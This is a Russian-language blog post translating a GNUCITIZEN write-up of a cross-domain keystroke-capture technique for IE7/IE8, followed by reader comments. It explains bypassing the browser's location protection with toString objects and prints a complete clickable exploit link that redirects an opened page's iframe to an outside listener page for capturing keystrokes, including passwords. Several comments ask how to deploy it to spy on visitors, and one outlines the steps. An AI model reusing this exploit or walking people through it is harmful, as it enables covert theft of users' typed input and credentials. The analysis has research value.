Вы верите в призраков?

Довольно любопытный пост недавно появился на GNUCITIZEN. В нем рассказывается о новом способе слежения за пользователями, с помощью которого вполне реально создать настоящий веб кейлоггер, активизирующийся после нажатия по обычной ссылке. Ссылка, естественно, не простая 😉 Итак, вот мой перевод поста.

Существует несколько конференций, которые проводятся закрыто, и их уровень обычно довольно высок. Одной из них является конференция BlueHat, которую проводит Microsoft. BlueHat – это внутреннее мероприятие MS, однако компания приглашает множество специалистов по безопасности со всего мира. Вместе с парой моих друзей я присутствовал на ней, и, несомненно, она оказалось довольно занимательной. Особенно нас заинтересовала речь Мануэля Кабаллеро (Manuel Caballero), которая была презентована под названием «Житель в моем домене» («A resident in my domain»). Анонс его выступления был по-настоящему интригующим:

Вы верите в приведения? Представьте невидимый скрипт, который бесшумно следует за Вами, в то время как Вы посещаете страницы в интернете, даже после того, как Вы сменили адрес тысячу раз, чувствуя себя в совершенной безопасности. Теперь представьте, что приведение способно видеть все, что Вы делаете, включая, страницы, которые Вы посещаете, набираемый Вами текст (включая пароли), и даже предугадать Ваш следующий шаг.

Не требуется никаких загрузок, не нужны подтверждения пользователя и ActiveX. Другими словами: никаких дописываемых строк. Мы изучим силу скриптов- резидентов (resident scripts) и силу глобального междомена (global cross-domain). Также мы исследуем методы обнаружения междоменов и скриптов-резидентов.

Очевидно, что Кабаллеро нашел метод захвата нажатий клавиш и расположений окон. Это означает, что «по крайней мере» он может изменять document.onkeydown и читать window.location, однако, если бы он мог изменять document.onkeydown, это бы значило, что у него есть доступ к исполнению произвольного кода в контексте других доменов, но это не так, иначе он мог бы не просто захватывать нажатия клавиш, но и выполнить атаку вида UXSS (Universal XSS*) на браузер.

Примечание: Universal XSS отличается от обычной XSS тем, что уязвимость заключается не в веб-приложении, а в самом браузере.

В любом случае, две вещи, которыми, по его заявлению, он способен манипулировать, также могут быть взяты под контроль iframe’ом, расположенным на стороннем домене. Таким образом, если у нас есть возможность произвольного изменения местоположения iframe’а, то мы сможем захватывать нажатия клавиш в нашем собственном окне. Итак, нам нужен способ изменения адреса iframe’а, но прежде всего нам нужно получить ссылку на окно, где сидит наш iframe. Существует два основных способа получения ссылки на окно:

x=open().window
x=window.opener

Оба варианта требуют от пользователя открытия нового окна, они работают практически одинаково. Если Вам удастся заставить пользователя открыть новое окно, то перемещения пользователя не будут иметь значения (если оба окна остаются открытыми; в любом случае, если пользователь их закрыл, то вы можете снова их открыть и задействовать событие onblur), и вы получите контроль над окнами. Итак, каким образом мы сможем это сделать? Нам нужна ссылка на iframe. Для этого есть следующие способы:

document.getElementsByTagName("iframe") { /*не работает на междоменных вызовах*/ }
window.frames[] { /*работает на междоменных вызовах*/ }

Теперь нам необходимо просто изменить location. Ничего особенного, банальное присвоение window.opener.frames[0].location=”new location” должно работать. Однако на свежих версиях IE7 и IE8 этот метод не работает. Когда вы попробуете выполнить такой код, браузер откроет новое окно, не изменив location iframe’а.

После некоторых тестов, нам удалось изменить location , но только в том случае, когда его значение не является строкой. У нас есть следующие варианты:

window.opener.frames[0].location=123;
window.opener.frames[0].location=window;
window.opener.frames[0].location=location;

Отлично работает! Но почему? Судя по всему, IE7&8 имеют защиту против установки значений location сторонними скриптами, и ее суть заключается в следующем: «если установленное значение location является строкой, то выдаем ошибку». Не хорошо! У нас есть множество способов для того, чтобы заставить строку выглядеть как объект. Например:

new String("some-string");
{toString:function(){return "some-string";}}
new function(){this.toString=function(){return "some-string";}}

С помощью данных трюков мы можем обойти ограничения IE и установить произвольное значение location без каких-либо проблем. И финальный код эксплоита выглядит так:

<a href="javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);">Click me!</a>

Все что делает caballero-listener.html – это всего-навсего фокусирование на себя, поэтому этот скрипт может ловить событие onkeydown. Существует множество способов реализации этого кода в более скрытном режиме.


Posted

in

by

Comments

19 responses to “Вы верите в призраков?”

  1. Pento Avatar

    Что-то уж больно расплывчата идея…а PoC уже есть?

  2. Kuzya Avatar

    Помню как-то подобную вещь сделать пытался, только вот в масштабах одного домена =)

  3. Raz0r Avatar

    >Что-то уж больно расплывчата идея…а PoC уже есть?
    Pento, сплоит в самом конце статьи; код, перезаписывающий onkeydown расположен здесь:
    http://www.sirdarckcat.net/caballero-listener.html

  4. Makaka Avatar
    Makaka

    >Существует множество способов реализации этого кода в более скрытном режиме.

    Очень интересно было бы почитать

  5. Александр Avatar
    Александр

    Да уж… А можно по-подробнее…. Как это работает?

  6. Александр Avatar
    Александр

    А можно по-подробнее? Выходит, что если этот скрипт установлен, скажем, на моей страничке в Интернете, то я могу отслеживать нажатие клавишь и передвижение того, кто заходил на мою страничку?

  7. INVENT Avatar

    Хм, было бы интересно кстати собрать список тех методов/обьектов – что все-таки работают cross-domain. Про window.opener.frames[] – узнал впервые, спасибо. Это охуенно…
    До этого, думал что location-ом все ограничивается 🙂

  8. Александр Avatar
    Александр

    Вот, нашёл ещё несколько примеров на эту тему: http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x02_0x04.txt

  9. Александр Avatar
    Александр

    А как всё же, это применить? Какой именно код я должен разместитьь на своей страничке? И как я могу отслеживать передвижения и нажатие клавишь того, кто заходил на мою страничку с кодом? Я-то что должен сделать? Находиться на совей страничке? И как я могу наблюдать за передвижениями объекта, т.е. того, кто заходил на мою страничку?

  10. INVENT Avatar

    Ну смотри, как это понимаю я:
    1) На своей странице, ты размещаешь javascript window.open линк на допустим http://yandex.ru/, причем ты знаешь что на Яндексе есть рекламный ифрейм, находящийся в массиве frames под номером 5.
    2) После открытия окна, ты обращаешься к нему, и можешь(с какого х непонятно только) поменять location в нужном тебе фрейме(frames[5]), на свой сайт, в котором уже собсно стоит кейлоггер.
    3) Либо можно через тот-же location, заинжектить в открываемое окно скрипт с помощью location = ‘javascript:blabla’

  11. Александр Avatar
    Александр

    Да уж… Чот я совсем значит не врубился… Дык, ещё и прогу, то бишь, кейлогер надо на сайт установить?! И он, типа, будет всё в лог записывать… А я-то думал, что отслеживание происходит в реальном времени… А автор, то бишь, raz0r, тут что ли ваще не появляется?

  12. Александр Avatar
    Александр

    К стати, шарил тут один сайт на уязвимость xss, а шарил расширением “xss me” для Firefox, и вот одна из уязвимостей:
    The unencoded attack string was found in the html of the document. Other browsers may be vulnerable to this XSS string.
    Tested value:
    Перевод, примерно, такой, что другие браузеры, кроме, Firefox, могут быть подвержены xss-атаке… Хотя, я пока слабо в этом разбираюсь, то бишь, в xss… Начинающий… Мож кто растолкует, что не так…

  13. INVENT Avatar

    Думаю, ты найдешь ответ тут:
    http://ha.ckers.org/xss.html

  14. Александр Avatar
    Александр

    Наткнулся вот, на такую информацию, ссылка: https://addons.mozilla.org/ru/firefox/addon/11802?src=api, а вот и сама инфа:
    WebShadow – плагин, который позволяет общаться с теми, кто в данный момент просматривает тот же сайт, что и вы)))) такого еще не было))) Там все просто,
    открываете файл с помощью firefox, когда он перезапустится, заходите например на гугл, справа внизу находите кнопочку WS и кликаете – дальше придумываете
    и ЗАПОМИНАЕТЕ (потому что пароли шифруются невосстанвимо!) ник и пароль и входите в Тень гугла!!! Если кто-то есть в онлайне – им можно приватно написать
    (выбрать их в выпадающем списке) или прямо все в рум! вот! ))) сверху может быть и ваша реклама))) Чтобы запустить WebShadow на других сайтах – закрываем
    его той же кнопочкой WS заходим на нужный сайт и снова запускаем WS)) все просто!!!

    Новая версия WebShadow2.01 !!! Все переведено на Flash. И теперь аддон будет извещать Вас о том, что на сайте где Вы сейчас есть пользователи в онлайн!!!
    Еще больше возможностей! Настройка громкости звуковых оповещений! Удобный приват! Встроена ссылка для удобства передачи любых файлов Вашим друзьям по P2P
    прямо из браузера в браузер! И эт только начало! ))))

    Комментарии разработчика

    http://mac.softpedia.com/progClean/WebShadow-Clean-67767.html
    Пожалуйста, сообщайте об обнаруженных багах…

  15. Александр Avatar
    Александр

    Уважаемый модератор, а за что же меня на модерацию-то поставили? Я что-то не то написал? Вы поясните, пожалуйста. Чего же я мог такого написатьь-то? И ума не приложу… Я ж чайник в этих делах. Или, по-вашему мнению, чайникам здесь не место? А как же тогда начинать? Разве Вы сразу всё и обо всём знали? Вы же тоже как-то начинали… И спрашивали, и Вам отвечали…

  16. Raz0r Avatar

    Уверяю ничего подобного не делал 🙂 это все wordpress. Предполагаю, что он запоминает имейл и ip-адрес, который вы, судя по всему, сменили. И кстати спасибо за развитие темы

  17. Александр Avatar
    Александр

    Извиняюсь за, может быть, излишнюю эмоциональность сообщения… К стати, в сообщении:”Александр, 1. Декабрь 2009, 6:27
    “, была удалена часть, которая следует за двоеточием. Вот, кусок:
    The unencoded attack string was found in the html of the document. Other browsers may be vulnerable to this XSS string.
    Tested value:

  18. Александр Avatar
    Александр

    Блин! Кто-нить видит текст после двоеточия?

  19. Александр Avatar
    Александр

    Она опять изчезла!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.